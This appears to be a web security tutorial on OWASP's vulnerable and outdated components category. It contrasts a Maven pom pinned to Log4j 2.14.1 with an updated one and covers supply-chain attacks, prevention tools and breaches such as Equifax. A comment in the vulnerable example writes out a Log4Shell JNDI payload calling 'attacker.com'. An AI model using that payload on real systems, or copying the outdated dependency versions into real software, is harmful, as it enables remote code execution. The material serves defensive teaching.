Vulnerable & Outdated Components
Using libraries, frameworks, and other software components with known security vulnerabilities is a widespread and critical security issue. When applications rely on outdated dependencies, they inherit all the known vulnerabilities of those components, creating an easy attack vector for malicious actors.
What Are Vulnerable & Outdated Components?
Vulnerable and Outdated Components refers to the use of third-party libraries, frameworks, plugins, or other software modules that contain known security vulnerabilities. This category was introduced as A06 in the OWASP Top 10 2021, reflecting the increasing dependency on open-source and third-party code in modern software development. When applications use components with publicly disclosed vulnerabilities (CVEs), they become susceptible to attacks that exploit these known weaknesses.
The problem arises from several factors: developers may not be aware that a component has vulnerabilities, they may know about vulnerabilities but fail to update due to compatibility concerns or lack of time, or they may not have proper dependency management processes in place. Additionally, transitive dependencies (dependencies of dependencies) can introduce vulnerabilities that are not immediately obvious. Modern applications can have hundreds or thousands of dependencies, making manual tracking virtually impossible without automated tools.
According to the OWASP Top 10 2021, this vulnerability category has become increasingly prevalent as software supply chain attacks have grown more sophisticated. High-profile incidents like Log4Shell and the Equifax breach have demonstrated the catastrophic impact that a single vulnerable component can have. Organizations must implement Software Composition Analysis (SCA) tools, maintain an accurate Software Bill of Materials (SBOM), and establish processes for promptly patching vulnerable dependencies.
How It Works
The development team integrates third-party libraries or frameworks into the application. Over time, these dependencies become outdated as new versions are released with security patches. The application continues to use old versions with known vulnerabilities.
Security researchers or attackers discover a vulnerability in the component. A CVE (Common Vulnerabilities and Exposures) identifier is assigned, and details about the vulnerability, including affected versions and exploitation techniques, become publicly available.
Attackers scan target applications to identify the components and versions in use. This can be done by analyzing HTTP headers, JavaScript files, error messages, or publicly accessible files like package.json or pom.xml. Tools like Wappalyzer, Retire.js, or Shodan can automate this process.
Once the vulnerable component is identified, the attacker either develops an exploit or uses publicly available exploit code. For well-known vulnerabilities like Log4Shell, exploit code is often widely available on GitHub and hacking forums, making exploitation accessible even to less sophisticated attackers.
The attacker launches the exploit against the vulnerable component. Depending on the vulnerability, this can result in remote code execution, data theft, denial of service, or privilege escalation. The impact can range from minor information disclosure to complete system compromise.
Vulnerable Code Example
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>vulnerable-app</artifactId>
<version>1.0.0</version>
<dependencies>
<!-- VULNERABLE: Log4j 2.14.1 is affected by Log4Shell (CVE-2021-44228)
This version allows remote code execution through JNDI injection -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<!-- VULNERABLE: Old Spring Framework version with known CVEs -->
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-core</artifactId>
<version>5.2.8.RELEASE</version>
</dependency>
<!-- VULNERABLE: Jackson Databind with deserialization vulnerabilities -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency>
</dependencies>
</project>
// Risk: This application uses multiple components with known CVEs.
// An attacker can exploit Log4Shell by sending a malicious string like:
// ${jndi:ldap://attacker.com/exploit}
// which gets logged and triggers remote code execution.Secure Code Example
<project>
<modelVersion>4.0.0</modelVersion>
<groupId>com.example</groupId>
<artifactId>secure-app</artifactId>
<version>1.0.0</version>
<!-- SECURE: Use Spring Boot BOM for dependency management -->
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.2.0</version>
</parent>
<dependencies>
<!-- SECURE: Updated Log4j version without Log4Shell vulnerability -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.23.1</version>
</dependency>
<!-- SECURE: Latest Spring Framework (managed by parent) -->
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<!-- Version managed by parent BOM -->
</dependency>
<!-- SECURE: Updated Jackson (managed by parent) -->
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<!-- Version managed by parent BOM -->
</dependency>
</dependencies>
<build>
<plugins>
<!-- SECURE: Use OWASP Dependency Check to scan for vulnerabilities -->
<plugin>
<groupId>org.owasp</groupId>
<artifactId>dependency-check-maven</artifactId>
<version>9.0.9</version>
<executions>
<execution>
<goals>
<goal>check</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
</build>
</project>
// Best practices:
// - Use dependency management (BOM) to ensure consistent versions
// - Regularly update dependencies to latest stable versions
// - Automate vulnerability scanning in CI/CD pipeline
// - Subscribe to security advisories for critical componentsTypes
Known CVE Exploitation
The most common attack vector involves exploiting publicly disclosed vulnerabilities with assigned CVE identifiers. Attackers scan applications to identify components with known vulnerabilities, then use available exploit code or proof-of-concepts. Examples include Log4Shell (CVE-2021-44228) in Log4j, Spring4Shell (CVE-2022-22965), and the Apache Struts RCE (CVE-2017-5638) that led to the Equifax breach. These attacks are particularly dangerous because exploit code becomes widely available shortly after disclosure.
Dependency Confusion / Supply Chain
Supply chain attacks target the software distribution mechanism itself. Dependency confusion exploits how package managers resolve dependencies by uploading malicious packages with the same name as internal packages to public repositories. Typosquatting involves creating packages with names similar to popular libraries (e.g., reqeusts instead of requests). The event-stream npm incident (2018) demonstrated how legitimate packages can be compromised when maintainers transfer ownership or add malicious contributors.
Transitive Dependency Risks
Transitive dependencies (dependencies of your dependencies) introduce vulnerabilities that are not directly visible in your project's dependency declarations. A secure top-level package might depend on a vulnerable nested package several levels deep. Tools like npm audit, mvn dependency:tree, or pip-audit are essential for discovering these hidden risks. Modern dependency graphs can be extremely complex, with a single application potentially having thousands of transitive dependencies, each representing a potential attack surface.
Impact
The impact of using vulnerable components can be catastrophic, potentially affecting not just a single application but entire organizations and their customers. The severity depends on the nature of the vulnerability and the privileges of the compromised component.
Many component vulnerabilities allow attackers to execute arbitrary code on the server. Log4Shell is a prime example, where a single malicious log entry could trigger remote code execution. This gives attackers complete control over the affected system, enabling them to install backdoors, steal data, or pivot to other systems.
Vulnerable components can expose sensitive data through information disclosure vulnerabilities or by providing attackers with unauthorized access to databases and file systems. The Equifax breach, caused by an unpatched Apache Struts vulnerability, resulted in the exposure of personal information of 147 million people.
When attackers successfully inject malicious code into widely-used components, they can compromise thousands of downstream applications simultaneously. The SolarWinds attack demonstrated how a single compromised component in a trusted supply chain could affect thousands of organizations, including government agencies.
Some vulnerabilities in components can be exploited to cause application crashes, consume excessive resources, or create infinite loops. Even without data theft, these attacks can disrupt business operations, damage reputation, and result in significant financial losses.
Prevention Checklist
Use automated SCA tools like Snyk, Dependabot, OWASP Dependency-Check, or WhiteSource to continuously monitor dependencies for known vulnerabilities. Integrate these tools into your CI/CD pipeline to catch vulnerable components before they reach production. Configure tools to fail builds when high-severity vulnerabilities are detected.
Create and maintain an accurate inventory of all components, including transitive dependencies. Tools like CycloneDX or SPDX can generate SBOMs automatically. This visibility is critical for quickly identifying affected systems when new vulnerabilities are disclosed and for compliance with emerging regulations.
Use tools like Dependabot, Renovate, or Greenkeeper to automatically create pull requests when dependency updates are available. Establish a policy for promptly reviewing and merging security patches. Balance security with stability by using automated testing to verify that updates don't break functionality.
Perform periodic manual reviews of all dependencies to identify unused or unnecessary components that can be removed. Use commands like npm audit, pip-audit, or cargo audit regularly. Remove deprecated or unmaintained dependencies and replace them with actively maintained alternatives.
Pin specific dependency versions using lock files (package-lock.json, Pipfile.lock, Gemfile.lock) to ensure consistent builds and prevent unexpected updates. This also helps in auditing and tracking which versions are deployed in production. However, don't let pinned versions become stale—regularly update and re-pin.
Subscribe to security mailing lists, GitHub security advisories, and CVE feeds for components you use. Establish a rapid response process for critical vulnerabilities. Follow security researchers and organizations on platforms like Twitter or Mastodon to stay informed about emerging threats and zero-day vulnerabilities.
Real-World Examples
Log4Shell (Apache Log4j)
CVE-2021-44228, known as Log4Shell, was a critical remote code execution vulnerability in the widely-used Apache Log4j logging library. The vulnerability allowed attackers to execute arbitrary code by submitting a specially crafted string that would be logged. Due to Log4j's ubiquity in Java applications, millions of systems were potentially vulnerable. Security teams worldwide spent weeks patching systems, and exploitation attempts began within hours of disclosure.
Equifax (Apache Struts)
Equifax failed to patch a known vulnerability (CVE-2017-5638) in Apache Struts, a popular Java web framework. Attackers exploited this vulnerability to gain access to Equifax's systems, resulting in one of the largest data breaches in history. The personal information of 147 million people was compromised, including Social Security numbers, birth dates, and addresses. The breach resulted in a $700 million settlement and irreparable damage to Equifax's reputation.
event-stream npm Package
A popular npm package called event-stream, which had millions of downloads, was compromised when its maintainer transferred ownership to a malicious actor. The new maintainer added a dependency that contained code designed to steal cryptocurrency wallet credentials. This incident highlighted the risks of supply chain attacks and the trust placed in open-source maintainers. Thousands of applications were potentially compromised before the malicious code was discovered and removed.
SolarWinds Supply Chain Attack
Attackers compromised SolarWinds' Orion platform build process, injecting malicious code into software updates that were digitally signed and distributed to approximately 18,000 customers, including government agencies and Fortune 500 companies. The attack went undetected for months, demonstrating the devastating potential of supply chain compromises. It led to widespread re-evaluation of software supply chain security practices and increased focus on SBOM and code signing verification.
Ready to Test Your Knowledge?
Put what you have learned into practice. Try identifying and fixing vulnerable component issues in our interactive coding challenges, or explore more security guides to deepen your understanding.